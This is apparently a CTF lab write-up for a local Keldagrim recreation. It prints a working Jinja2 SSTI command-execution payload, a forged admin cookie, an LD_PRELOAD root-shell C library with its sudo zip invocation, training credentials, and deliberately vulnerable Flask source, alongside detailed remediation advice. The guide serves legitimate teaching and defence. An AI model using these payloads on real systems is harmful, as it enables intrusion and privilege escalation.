Keldagrim

Source-aware reference

A client-controlled role unlocks a report generator. A report query becomes template code. A permissive sudo rule then turns a low-privilege foothold into container root.

Cookie forgeryBase64 transportJinja2 SSTICommand executionLD_PRELOADLinux sudo
  1. 1. Forge the roleYWRtaW4= → adminThe application treats an unsigned cookie as authorization.
  2. 2. Inject the reportsearch → template sourceBase64-decoded input is concatenated into Jinja syntax.
  3. 3. Reach the processFlask → keldagrimThe intended SSTI payload accesses Python and the OS.
  4. 4. Cross the sudo boundaryLD_PRELOAD + sudo zipA user-selected shared object initializes with root privileges.
Three separate trust failures form the chain: browser data becomes a role, user text becomes code, and user-controlled loader configuration reaches a privileged process.

The scenario

The supplied project is a containerized training recreation of the TryHackMe Keldagrim attack path, not a record of a live TryHackMe machine. Its mining company website has public company pages and an unlinked /admin reporting panel.

The admin gate decodes a role cookie and compares it with the literal string admin. Once that gate is passed, a POSTed report query is decoded and inserted into a template compiled by Flask. The author walkthrough uses that template injection to execute commands as keldagrim, then abuses the installed sudo policy.

Read-only review, not a recorded exploitation

The Python application, all nine HTML templates, Docker configuration, startup script, sudoers fragment, README, and Markdown walkthrough were read as text. No container was built or started; no application, payload, compiler, scanner, shell, or supplied script was run. Expected behavior is identified as source-derived or author-reported. The generated HTML was not launched for testing.

What a complete solve means

  • Distinguish host ports 8080/2222 from container ports 80/22.
  • Explain why base64 does not authenticate the role or sanitize the query.
  • Trace the exact point where report data becomes template source.
  • Keep web-admin access, process command execution, and OS-root access separate.
  • Explain both the sudo rule and the dynamic-loader conditions behind the intended escalation.
  • Read the flags actually generated for that deployment, rather than assume the walkthrough's flag strings.

The central idea

Follow who controls each value and what authority it gains at the next boundary.

The central correction

The guest page says “403,” but the source returns HTTP 200. Page appearance is not protocol behavior.

Reveal local training credentials

These are intentionally supplied in the README and Dockerfile, not recovered by this review. They belong to this local recreation only.

Low-privilege SSH account · supplied configuration
User:     keldagrim
Password: keld4grim_d0rf
Host SSH port: 2222

Using the supplied SSH credential skips the web foothold. It is useful for studying the sudo stage, but does not demonstrate the cookie or SSTI stages.

Reveal the author-reported flags

The Markdown walkthrough gives the following examples. Neither was read from a running lab, and neither is the current Compose default.

WALKTHROUGH.md · example user flag
THM{k3ld4gr1m_us3r_fl4g_2d8f}
WALKTHROUGH.md · example root flag
THM{k3ld4gr1m_r00t_pr1v3sc_9a1c}

The startup script splits a single FLAG string at its midpoint. See flag generation and its length caveat before treating any string here as a deployment answer.

Cookie trust & SSTI

Checked against app.py

Encoding changes representation, not trust. Both the role and the query remain attacker-controlled after their base64 layer is removed.

1. The cookie is the entire admin gate

app/app.py · lines 40–53
role_cookie = request.cookies.get('role')

if role_cookie is None:
    resp = make_response(render_template('guest.html'))
    resp.set_cookie('role', base64.b64encode(b'guest').decode())
    return resp

try:
    decoded_role = base64.b64decode(role_cookie).decode()
except Exception:
    decoded_role = 'guest'

if decoded_role != 'admin':
    return render_template('guest.html')

With no cookie, the response sets a base64-encoded guest value and returns the guest page immediately. With a cookie, the server decodes it and requires an exact, case-sensitive admin match. There is no password check, server-side role lookup, MAC, or signature on this cookie.

The hardcoded Flask secret key does not protect a cookie set manually through resp.set_cookie('role', ...). Flask's signed session mechanism is not used for this decision. A client can supply the known admin encoding directly; learning the secret key is unnecessary.

Submitted roleDecoded meaningSource-defined result
No cookieNo role yetGuest body; new role=Z3Vlc3Q= cookie.
Z3Vlc3Q=guestGuest body, no admin report processing.
YWRtaW4=adminAdmin panel; POST may reach the renderer.
Decoding exceptionFalls back to guestGuest body.
Valid encoding of Admin or admin\nNot the exact literalGuest body.

“403” is a heading, not the status

guest.html contains <h1>403</h1>, but both guest return paths omit an explicit error status. Under Flask's normal response handling, they return HTTP 200. By contrast, the 404 and 500 handlers explicitly return their status codes. A later test must compare the body and actual status separately.

2. The browser encodes a hidden form field

The visible query input has no name. The submitted value comes from a hidden input named search. A submit listener fills that hidden field with btoa(raw).

admin.html · form and encoder excerpts, displayed as text
<form method="POST" action="/admin" id="reportForm">
    <input type="text" id="searchInput">
    <input type="hidden" name="search" id="searchEncoded">
</form>

document.getElementById('reportForm').addEventListener('submit', function(e) {
    var raw = document.getElementById('searchInput').value;
    document.getElementById('searchEncoded').value = btoa(raw);
});

Typing an ASCII template expression into the visible form already triggers this encoding in the lab UI. In an intercepted HTTP request, replace the encoded search value instead. Do not base64-encode an already encoded value a second time.

btoa operates on a binary string, not arbitrary Unicode text. On the server, decoded bytes must also be valid UTF-8. The examples here are ASCII to avoid collapsing browser encoding and server decoding into one assumption.

3. The server turns decoded data into source code

app/app.py · lines 58–75
encoded_query = request.form.get('search', '')
if encoded_query:
    try:
        search_query = base64.b64decode(encoded_query).decode('utf-8')
    except Exception:
        search_query = encoded_query

    template = '''
    <div class="result-box">
        <h4>Sales Report Query</h4>
        <p>Results for: ''' + search_query + '''</p>
    </div>
    '''
    try:
        output = render_template_string(template)
    except Exception as e:
        output = '<div class="result-box error"><p>Report generation error: {}</p></div>'.format(str(e))

The decisive sink is render_template_string(template). The query has already been concatenated into the source before Jinja parses it. Thus {{7*7}} is an expression to evaluate, not a value to display literally.

Decoding failures fall back to the original submitted string rather than reject the request. That creates an additional route into the same renderer; the base64 requirement is not enforced strictly. An empty search skips report rendering altogether.

4. Autoescaping is not an SSTI fix

Flask enables autoescaping for string templates by default. That escapes values emitted by expressions; it does not prevent template syntax already present in the source from being evaluated.

The outer admin template also uses {{ output | safe }}, accepting the report as HTML. Removing that filter may change how the report appears, but it does not undo code already evaluated by the inner renderer. Keep template-source injection and browser-side HTML interpretation separate.

5. The smallest useful probe is arithmetic

Walkthrough probe · representation and expected evaluation
Decoded query:  {{7*7}}
Base64 value:   e3s3Kjd9fQ==
Expected text:  Results for: 49

This expectation follows from the Flask/Jinja source path. No probe was sent here. In later authorized practice, compare the report's actual result with a normal-text control; finding the number 49 somewhere in unrelated page statistics is not sufficient evidence.

{{config}}, encoded as e3tjb25maWd9fQ==, asks for Flask's configuration object. The source sets a secret key that could appear in that output. Configuration disclosure is a separate consequence of the rendering context, not a prerequisite for forging role.

6. Why the intended payload reaches the OS

WALKTHROUGH.md · decoded command-execution expression, not evaluated
{{self.__init__.__globals__.__builtins__.__import__('os').popen('whoami').read()}}

The author uses a template object's initializer to reach Python globals, built-ins, the import function, and then the os module. popen runs a command and read collects its output for the report. The application configures ordinary Flask templating, not a Jinja sandbox.

The startup script launches Python as keldagrim, so that is the intended command identity. The exact object chain and its output remain author-reported, not verified against an installed dependency set. SSTI is supported directly by the source; a particular command-execution gadget still depends on its runtime context.

7. Preserve base64 through HTTP form encoding

Base64 may contain +, /, and =. In an application/x-www-form-urlencoded body, an unescaped plus sign becomes a space. Plain curl -d "search=$PAYLOAD" does not protect arbitrary base64 payloads from this transformation.

The reference requests on the walkthrough page use --data-urlencode and remove the encoder's line breaks. Neither change fixes the application; they only keep the intended bytes intact during transport.

Privilege escalation

Policy + loader mechanics

The dangerous permission is more than “run zip.” It combines unrestricted zip arguments with a user-selectable preload library for a privileged process.

The exact installed policy

sudoers_keldagrim · complete supplied fragment
Defaults    env_keep+=LD_PRELOAD
keldagrim ALL=(ALL) NOPASSWD: /usr/bin/zip

The Dockerfile copies this fragment to /etc/sudoers.d/keldagrim and sets mode 0440. The first line is a global Defaults setting, not one scoped only to this account or command.

  • keldagrim: the invoking user permitted by this entry.
  • ALL: the host match.
  • (ALL): may run as any target user, including root.
  • NOPASSWD: no authentication prompt for this permitted command.
  • /usr/bin/zip: no arguments are constrained in the rule, so arbitrary arguments are allowed.
  • env_keep+=LD_PRELOAD: the policy permits this dangerous loader variable in the target command's environment.

How LD_PRELOAD changes program startup

For an ordinary dynamically linked ELF program, the dynamic loader can load shared objects named by LD_PRELOAD before other libraries. Their initialization code runs during startup. The author uses this to execute a library initializer in the root process that sudo launches.

Intended order · conceptual, not a trace
keldagrim supplies a library path on sudo's command line
    → sudo checks the command and environment policy
    → sudo launches /usr/bin/zip as root
    → zip's dynamic loader loads the selected shared object
    → its initializer starts a shell with root identity

Do not confuse loading into sudo with loading into zip

The loader normally strips dangerous variables from the inherited environment of a set-user-ID executable such as sudo. The documented form is sudo LD_PRELOAD=... /usr/bin/zip ...: sudo receives the assignment as a command-line argument and constructs the permitted target environment. Merely exporting LD_PRELOAD before invoking sudo is not equivalent.

The target's own secure-execution mode, static linking, additional policy, or sandboxing can still block loading. The installed zip binary and actual sudo/loader behavior were not examined in a running container.

The author's shared-library initializer

The following is a minimally annotated version of the walkthrough's C example. It adds _GNU_SOURCE for the Linux setresuid declaration and uses an explicit empty parameter list. It is inert reference text, not a new executable or supplied-file modification.

Owned-lab reference · intended /tmp/shell.c inside the target
#define _GNU_SOURCE
#include <stdlib.h>
#include <unistd.h>

void _init(void) {
    unsetenv("LD_PRELOAD");
    setresuid(0, 0, 0);
    system("/bin/bash -p");
}
  • unsetenv: prevents child commands from inheriting the same preload request and repeatedly loading the payload.
  • setresuid(0,0,0): sets real, effective, and saved user IDs to zero when the process already has the necessary privilege. It does not grant privilege to an ordinary unprivileged process by itself.
  • system: invokes the command through a shell and waits for it.
  • bash -p: asks Bash to retain effective privileges rather than drop them if IDs differ.

The original example does not check syscall or shell-launch failures. This reference explains its intended effect rather than treating it as robust production C.

Compilation and the intended invocation

Author route · target-container commands only, not run
gcc -fPIC -shared -nostartfiles -o /tmp/shell.so /tmp/shell.c
sudo LD_PRELOAD=/tmp/shell.so /usr/bin/zip /tmp/out.zip /etc/hosts

-fPIC generates position-independent code, -shared produces a shared object, and -nostartfiles avoids startup objects that would conflict with the example's _init definition. Compile for the target's architecture and ABI, not blindly for the host.

The Dockerfile installs gcc and libc6-dev, so the intended route can compile inside the lab. Every /tmp path above belongs to that hypothetical target session. No such files were created during this review.

Flag generation is separate from privilege escalation

entrypoint.sh · split and writes, excerpt
len=${#FLAG}
half=$((len / 2))

echo "${FLAG:0:$half}" > /home/keldagrim/user.txt
chown keldagrim:keldagrim /home/keldagrim/user.txt
chmod 0400 /home/keldagrim/user.txt

echo "${FLAG:$half}" > /root/root.txt
chmod 0400 /root/root.txt

The script takes the first floor(length / 2) characters for the user file and the rest for the root file. It does not parse braces, split at a delimiter, or locate two flags. Each echo also appends a newline.

FLAG sourceUser-file contentRoot-file content
Current Compose default; two equal-length stringsTHM{k3ld4gr1m_us3r_fl4g}THM{k3ld4gr1m_r00t_fl4g}
Entrypoint fallback when FLAG is empty; equal lengthsTHM{default_user_flag}THM{default_root_flag}
Custom FLAGFirst half of the supplied stringRemaining half; may not begin at a flag boundary

The walkthrough's two examples have unequal lengths

The reported user flag is 29 ASCII characters; the root flag is 32. Concatenating them yields 61 characters, so the entrypoint splits at 30, not at the end of the first flag. The user file would gain the first T of the second flag, and the root file would begin HM{.... Their reported file contents therefore cannot both result from simply concatenating those examples under this startup logic.

The Compose default strings are each 24 characters, so that particular default divides cleanly. This is a documentation/configuration discrepancy, not proof of a failed or successful runtime solve.

Unrestricted sudo zip has another dangerous capability

GTFOBins documents zip's -T/-TT archive-test command feature as a shell-execution route under sudo. Unrestricted privileged archiving can also expose otherwise unreadable files. These are separate reasons not to grant arbitrary root zip use.

No alternate exploit was tested here. The lesson for remediation is important: removing only LD_PRELOAD does not make the unrestricted zip rule safe. Replace the broad permission with a narrowly designed task and trusted inputs.

Solve walkthrough

Inert command reference

Discover the boundary, explain the failure, then move to the next identity. The meaningful result is the chain of evidence—not a copied transcript.

Adapted from the supplied 11-stage Markdown walkthrough, with source corrections and safer form transport. All commands below are documentation for a later, explicitly authorized local-lab session. Nothing on this page sends a request, starts a shell, or compiles code.

  1. Map the local services

    The Compose file publishes HTTP on host port 8080 and SSH on 2222. The README's 80/22 description refers to the container-side services.

    Host-side reconnaissance example · not run
    nmap -sC -sV -p 2222,8080 localhost

    The walkthrough expects SSH and Werkzeug/Python responses. No open ports or exact software versions were measured here; package versions are not pinned by the Dockerfile.

  2. Separate the company facade from working functionality

    The homepage, team names, services, sales table, and contact details are static templates. /sales is explicitly labeled a decoy in app.py. The admin page's PostgreSQL status is also literal markup, not evidence of a database connection.

    Record: page links, actual forms, cookie changes, response statuses, and which route handles each input. Do not assume a company-themed report implies SQL injection.
  3. Identify the unlinked admin route

    Author directory-discovery example · not run
    dirb http://localhost:8080

    The source lists /, /about, /services, /sales, /contact, and /admin. Only admin accepts both GET and POST. The public navigation does not link to it.

  4. Inspect the role cookie and the real status

    Fresh cookie-free request · not sent
    curl -i http://localhost:8080/admin

    Without a role cookie, the source returns a guest page and sets role=Z3Vlc3Q=. That value represents guest. The body contains a “403” heading, but the return has no 403 status.

    The default cookie path is /. The call does not explicitly enable Secure, HttpOnly, or SameSite. Those attributes can improve cookie handling, but none would authenticate a freely forgeable role.

  5. Forge the exact admin value

    Unsigned-role demonstration · not sent
    curl -i --cookie 'role=YWRtaW4=' http://localhost:8080/admin

    YWRtaW4= is base64 for admin without a trailing newline. The source-defined result is the admin panel with the Sales Report Generator. This proves only a web authorization failure, not root access.

  6. Test expression evaluation in the report

    Encoded arithmetic probe · not sent
    curl --cookie 'role=YWRtaW4=' \
      --data-urlencode 'search=e3s3Kjd9fQ==' \
      http://localhost:8080/admin

    The data option makes this a POST. The encoded expression is {{7*7}}; the expected report text is Results for: 49. Inspect that result region rather than searching for an arbitrary 49 elsewhere.

    In Burp, preserve the admin cookie, decode the search field, edit the expression, re-encode it, and preserve URL encoding in the request body. In the lab's visible form, the submit listener performs base64 encoding for an ASCII input.

  7. Understand the intended process foothold and user flag

    The author expression reaches Python's import function and os.popen. The request model below retains that expression but fixes base64 line wrapping and form encoding.

    Command-execution request model · not executed
    PAYLOAD=$(printf '%s' "{{self.__init__.__globals__.__builtins__.__import__('os').popen('whoami').read()}}" | base64 | tr -d '\n')
    curl --cookie 'role=YWRtaW4=' \
      --data-urlencode "search=$PAYLOAD" \
      http://localhost:8080/admin

    The expected user is keldagrim, because the entrypoint deliberately runs Flask as that account. Reading /home/keldagrim/user.txt is the intended next file-read step under the same identity; its actual contents depend on FLAG, not the walkthrough transcript.

    No object chain, command output, or user-file read was verified here. All of this remains within the supplied lab's intended mechanism.

  8. Choose a shell route without inventing credential discovery

    The README supplies a direct SSH option:

    Host-to-container login example · not opened
    ssh keldagrim@localhost -p 2222
    # Supplied training password: keld4grim_d0rf

    /etc/passwd can identify accounts; it does not reveal this password. A pure black-box foothold must obtain usable credentials elsewhere or use another shell route. The author also describes an SSTI reverse shell, which requires a reachable callback address and listener. No listener or callback was started here.

    Keep the two study routes explicit: direct README credentials skip web exploitation; an SSTI foothold demonstrates it.

  9. Read the effective sudo permission

    Inside the target session · not run
    sudo -l

    The supplied fragment and author transcript identify env_keep+=LD_PRELOAD and (ALL) NOPASSWD: /usr/bin/zip. A later check must inspect the effective policy, because other Defaults or command rules may affect the result.

    Record: target identity, absolute permitted path, argument restrictions, environment policy, and whether authentication is required. Do not infer permission to run an arbitrary root shell directly.
  10. Follow the shared-library route deliberately

    Study the initializer, compilation flags, and explicit sudo assignment on the Privilege escalation page. The intended library must be readable in the target, compatible with its ABI, and accepted by the target program's dynamic loader.

    This route runs initialization code before zip's normal work. It is not a memory-corruption exploit in zip and not an automatic property of every sudo-enabled command.

    Keep target commands off the host

    The C library, compilation command, and sudo invocation are intended for the disposable lab container after a foothold. They were not run on the host, in a container, or anywhere else while preparing this guide.

  11. Distinguish container root from a flag-shaped string

    Post-escalation checks described by the author · not run
    id
    whoami
    cat /root/root.txt

    A later successful reproduction should establish root identity in the intended container and read its actual root file. A quoted example flag, an admin page, or a zero exit code alone does not establish that result.

    No host escape is part of this exercise. The Compose file does not request privileged mode, a Docker socket mount, or a host bind mount; runtime isolation still depends on the actual deployment.

If a future authorized solve disagrees

SymptomFirst thing to inspect
Connection refused or unexpected serviceHost/container port mapping and whether that future lab was actually started.
Guest page despite HTTP 200Cookie value, exact decoded role, and the source's missing 403 status.
Visible form produces no reportHidden search field, submit listener, empty input, and btoa character limits.
Encoded expression appears as text or a decoding errorDouble encoding, embedded encoder newlines, and + converted to a space in form transport.
Arithmetic works but the command gadget failsActual Jinja/Python context and dependency versions; do not confuse SSTI proof with a universal gadget.
Preload rejected or ignoredAssignment placement after sudo, effective policy, target secure-execution mode, library path, ABI, and dynamic linking.
Compiler reports an _init collisionThe example's -nostartfiles build model, not an unrelated change to the lab source.
Flags differ or one begins mid-stringCompose environment override and midpoint splitting in entrypoint.sh.

Things to learn

Root causes & defenses

Every stage promotes an untrusted value into authority. The durable fixes keep those values as data and narrow the privileges of the code that consumes them.

Encoding is not authentication

Base64 is a reversible representation. It neither signs a role nor checks who supplied it. Production authorization should use an authenticated identity and a role determined by trusted server-side state. A signed session can protect integrity only when the key is secure and the application enforces the role correctly.

HttpOnly, Secure, and SameSite serve different purposes. They reduce certain browser or transport risks, but do not stop a requester from supplying a forged unsigned cookie.

Keep template structure fixed

Pass the report query as a context variable into a developer-controlled template. Do not concatenate it into a new template source string.

Defensive design sketch · not applied to the vulnerable lab
# Python: query is data, not template source.
return render_template('report.html', query=search_query)

# report.html: fixed, developer-controlled markup.
<p>Results for: {{ query }}</p>

If the query's value is {{7*7}}, the fixed template prints those characters; it does not recursively compile the value as a second template. Preserve autoescaping and do not mark untrusted query text as safe.

Validate transport strictly and apply length limits, but do not substitute a blacklist of braces or Python attribute names for fixing the rendering boundary. If arbitrary user-authored templates are a real requirement, use an explicitly designed isolation model with a restricted context and resource limits.

Reduce the reach of a compromised application

Running Flask as a non-root user limits the first foothold, but that protection is undermined when the same user has an unsafe sudo permission. The application directory is also owned by keldagrim; a compromised process can modify its own application files.

Use a dedicated service identity with no privileged sudo capability, read-only code where practical, minimal writable directories, and only the secrets needed for its task. Do not embed reusable passwords or a production secret key in source or image layers.

Treat environment variables as part of the privilege boundary

Loader variables change what code a process loads before its ordinary work begins. Retain sudo's minimal environment behavior and avoid preserving LD_PRELOAD for elevated commands. Scope Defaults changes instead of making dangerous global exceptions.

Also remove the unrestricted zip permission. A utility's benign name is not a capability limit: archive tools may read privileged files or launch helper commands through options. Use a narrowly specified, trusted task with constrained arguments and file access.

Root cause and remediation map

Observed designConsequenceBetter boundary
Unsigned base64 role cookieRequester selects admin authority.Authenticate identity; obtain authorization from trusted state.
Query concatenated into template sourceJinja expressions execute server-side.Fixed template with escaped context data.
Decode failure falls back to raw inputMalformed transport still reaches the dangerous sink.Reject invalid encoding; keep decoded data out of template source regardless.
Report output marked safe; exception text inserted into HTMLUntrusted markup and error details can reach the browser.Escape values; log detailed exceptions server-side; show generic errors.
Hardcoded key and SSH passwordAnyone with supplied source knows them.Per-deployment secrets, key-based SSH, restricted distribution.
Global preload allowance and unrestricted root zipUser-controlled code or utility capabilities run privileged.Remove broad sudo access; tightly define the required operation.
Two flags split by total lengthUnequal-length values cross file boundaries.Independent user/root variables or a validated structured format.

Keep the training deployment contained

The Compose mappings omit a host bind address, so they are not explicitly restricted to loopback. On ordinary Docker configurations they publish on host interfaces, not merely localhost. The README's localhost examples do not make the services localhost-only.

For future owned-lab use, choose an isolated network or explicit loopback bindings, avoid privileged containers and host-sensitive mounts, and treat any supplied lab secrets as disposable. Nothing in this reference changes or launches the deployment.

Gunicorn is installed, but the entrypoint invokes python3 app.py and the application calls app.run. That is Flask's development server; installing a production server does not automatically route execution through it.

Measure the behavior you claim

A “403” heading is not an HTTP 403 response. A database status label is not a database connection. A source-defined credential is not a black-box discovery. A documented payload is not runtime evidence. Precise write-ups retain all four distinctions.

This guide explains intentionally vulnerable training code

The examples describe the supplied local recreation. They are not permission to scan or exploit external systems, and container-root access is not evidence of host-root access.

Self-check

  • Can I explain why the Flask secret key is unnecessary for this role forgery?
  • Can I distinguish the guest page's heading from its actual source-defined status?
  • Can I identify the submitted field and its browser-side encoding?
  • Can I point to where query data becomes Jinja source?
  • Can I explain why autoescaping does not stop SSTI at that point?
  • Can I distinguish web admin, the app's Linux identity, and container root?
  • Can I explain why sudo's command-line preload assignment differs from an inherited environment variable?
  • Can I list the loader and ABI assumptions behind the intended shared-library route?
  • Can I explain why removing only LD_PRELOAD leaves a dangerous zip permission?
  • Can I predict the effect of unequal-length flag strings without assuming a flag delimiter?

Useful follow-up topics

Cookie integrity and server-side authorization; HTML escaping versus template compilation; form-urlencoded transport; Flask context variables; Linux real/effective/saved IDs; ELF initialization and secure-execution mode; sudo environment policy; and container exposure versus isolation.

Files & source notes

Provenance & review limits

The local code is the authority for this recreation. The walkthrough supplies the intended route, while the discrepancy register keeps its examples from becoming unsupported runtime claims.

Reviewed file inventory

Supplied fileRoleReview
Keldagrim/app/app.py91-line Flask app: routes, role gate, decoder, template sink, error handling.Read in full; complete inert snapshot below.
Keldagrim/app/templates/admin.htmlReport form, hidden base64 field, submit listener, output | safe.Read in full; relevant excerpts on the mechanics page.
Keldagrim/app/templates/guest.htmlAccess-denied body with a “403” heading.Read in full; compared with the route's return status.
Keldagrim/app/templates/{index,about,services,sales,contact,404,500}.htmlPublic facade and error-page templates.All seven read; static content distinguished from implemented functionality.
Keldagrim/DockerfileBase image, installed tools, training account, SSH setup, copied policy.Read in full; never built.
Keldagrim/docker-compose.ymlPublished ports, hostname, restart setting, default FLAG.Read in full; never launched.
Keldagrim/entrypoint.shFlag split, permissions, SSH startup, Flask user switch.Read in full; never executed.
Keldagrim/sudoers_keldagrimTwo-line preload allowance and zip rule.Read in full; not applied to the host.
Keldagrim/README.mdProject scope, credentials, access points, intended chain.Read in full.
Keldagrim/WALKTHROUGH.mdInstructor walkthrough, payloads, intended outputs, flag examples.Read in full; outputs treated as author-reported.
Keldagrim/Keldagrim.zipSupplied archive.Presence noted only. Contents not extracted, executed, or compared.
Arshlaan_s Write-ups/Keldagrim - Full Exploitation Walkthrough.pdfSupplied PDF write-up.Presence noted; direct PDF reading unsupported. Not used as independently reviewed evidence.

Discrepancy register

Claim or tempting assumptionLocal-source correction
“403 Access Denied”The heading says 403; the two guest return paths use Flask's default 200 status.
Scan ports 22 and 80 from the hostDefault host mappings are 2222 and 8080. Ports 22 and 80 are inside the container.
Base64 protects the role or queryNo integrity check on the role; query decoding is followed by unsafe compilation.
The Flask key is needed for admin forgeryThe raw role cookie is not a signed Flask session.
Every query must be valid base64Decoder exceptions fall back to the raw submitted value; invalid transport is not rejected.
Plain -d reliably carries arbitrary base64Unescaped + has form semantics; use URL encoding and avoid encoder line breaks.
Read /etc/passwd to obtain the SSH passwordIt identifies accounts, not the supplied password. The password is explicit in the README/Dockerfile.
The flags shown in the walkthrough are today's defaultsCompose defaults differ, and the entrypoint splits a single value by length. The walkthrough's two flags have unequal lengths.
Gunicorn / PostgreSQL are the active backendGunicorn is installed but unused by the startup path; PostgreSQL status is static HTML.
“localhost” examples imply localhost-only exposureCompose publishes without an explicit loopback bind address.
Every sudo command honors LD_PRELOADThe exact environment policy, assignment placement, target dynamic linking, and secure-execution mode matter.
Removing LD_PRELOAD fully fixes the sudo entryUnrestricted root zip still has dangerous file and helper-command capabilities.

Source landmarks

  • app.py, line 6: hardcoded Flask secret key.
  • app.py, lines 11–32: five public routes; sales labeled a decoy.
  • app.py, lines 37–53: admin methods and unsigned role-cookie check.
  • app.py, lines 57–75: POST decoder, raw fallback, source concatenation, Jinja render, exposed exception text.
  • admin.html, lines 84–97: form, hidden search, btoa listener, and safe output.
  • entrypoint.sh, lines 5–18: FLAG fallback, midpoint split, and file modes.
  • entrypoint.sh, lines 21–25: SSH daemon and Flask execution as keldagrim.
  • Dockerfile, lines 23–39: account, SSH edits, sudoers installation, and app ownership.
Read the original app.py · complete snapshot

Preserved as escaped text. The Flask application below is not imported or executed by this HTML.

Keldagrim/app/app.py · original source
#!/usr/bin/env python3
import base64
from flask import Flask, request, render_template, render_template_string, make_response, redirect, url_for

app = Flask(__name__)
app.secret_key = 'dK3lg4rD1m_s3cr3t_k3y_!x9'

# ─────────────────────────────────────────────
# Main company homepage
# ─────────────────────────────────────────────
@app.route('/')
def index():
    return render_template('index.html')

@app.route('/about')
def about():
    return render_template('about.html')

@app.route('/services')
def services():
    return render_template('services.html')

@app.route('/contact')
def contact():
    return render_template('contact.html')

# ─────────────────────────────────────────────
# Sales report / data page (decoy)
# ─────────────────────────────────────────────
@app.route('/sales')
def sales():
    return render_template('sales.html')

# ─────────────────────────────────────────────
# Admin panel — cookie-based authentication
# ─────────────────────────────────────────────
@app.route('/admin', methods=['GET', 'POST'])
def admin():
    # Set default guest cookie if none present
    role_cookie = request.cookies.get('role')

    if role_cookie is None:
        resp = make_response(render_template('guest.html'))
        resp.set_cookie('role', base64.b64encode(b'guest').decode())
        return resp

    try:
        decoded_role = base64.b64decode(role_cookie).decode()
    except Exception:
        decoded_role = 'guest'

    if decoded_role != 'admin':
        return render_template('guest.html')

    # Admin has access — handle the search/reporting feature
    output = ''
    if request.method == 'POST':
        encoded_query = request.form.get('search', '')
        if encoded_query:
            # Decode the base64-encoded search query from the client
            try:
                search_query = base64.b64decode(encoded_query).decode('utf-8')
            except Exception:
                search_query = encoded_query
            # VULNERABILITY: Unsanitized input directly rendered via Jinja2
            template = '''
            <div class="result-box">
                <h4>Sales Report Query</h4>
                <p>Results for: ''' + search_query + '''</p>
            </div>
            '''
            try:
                output = render_template_string(template)
            except Exception as e:
                output = '<div class="result-box error"><p>Report generation error: {}</p></div>'.format(str(e))

    return render_template('admin.html', output=output)

# ─────────────────────────────────────────────
# Custom error handlers
# ─────────────────────────────────────────────
@app.errorhandler(404)
def page_not_found(e):
    return render_template('404.html'), 404

@app.errorhandler(500)
def internal_error(e):
    return render_template('500.html'), 500

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=80)
Read the original entrypoint.sh · complete snapshot

This startup script is displayed only. Its daemon launches, file writes, and user switch are not performed.

Keldagrim/entrypoint.sh · original source
#!/bin/bash
set -e

# Flag logic (unchanged)
if [ -z "$FLAG" ]; then
  echo "[!] WARNING: No FLAG set. Using default."
  FLAG="THM{default_user_flag}THM{default_root_flag}"
fi

len=${#FLAG}
half=$((len / 2))

echo "${FLAG:0:$half}" > /home/keldagrim/user.txt
chown keldagrim:keldagrim /home/keldagrim/user.txt
chmod 0400 /home/keldagrim/user.txt

echo "${FLAG:$half}" > /root/root.txt
chmod 0400 /root/root.txt

# ✅ Start SSH with logs (VERY IMPORTANT)
/usr/sbin/sshd -D -e &

# Run Flask
cd /opt/webapp
exec su -s /bin/bash keldagrim -c "python3 app.py"
Read the original docker-compose.yml · complete snapshot

No Compose operation is attached to this text or its copy button.

Keldagrim/docker-compose.yml · original configuration
version: '3.8'

services:
  keldagrim:
    build: .
    container_name: keldagrim
    hostname: keldagrim
    ports:
      - "2222:22"
      - "8080:80"
    restart: unless-stopped
    environment:
      # Sets a default flag if none is provided in the shell
      - FLAG=${FLAG:-THM{k3ld4gr1m_us3r_fl4g}THM{k3ld4gr1m_r00t_fl4g}}

External references consulted

These references explain general framework and loader behavior. They do not verify this lab's runtime, dependencies, or flags. Links are optional reading; the guide does not fetch them automatically.

Review boundaries

  • Checked statically: route definitions, cookie decisions, form transport, template-source construction, report output handling, startup identity, copied sudo policy, port mappings, and flag-splitting logic.
  • Author-reported: scanning output, successful command-execution gadget, SSH/shell outcome, root escalation, and example flags.
  • Not performed: shell commands, package installation, project/script execution, Docker build/start, live requests, compilation, binary/library loading, exploitation, or browser execution of the created page.
  • Not independently verified: image build success, installed versions, zip's actual binary properties, effective runtime sudo policy, binding port 80 as the service user, or flag-file contents.
  • Left untouched: supplied application files, templates, configuration, archive, PDF, and Git metadata. Only this standalone reference was added.
One HTML file, no external assets, no automatic network requests, and no executable lab integration. Copy buttons copy text; page switching, theme selection, and printing are browser-only conveniences.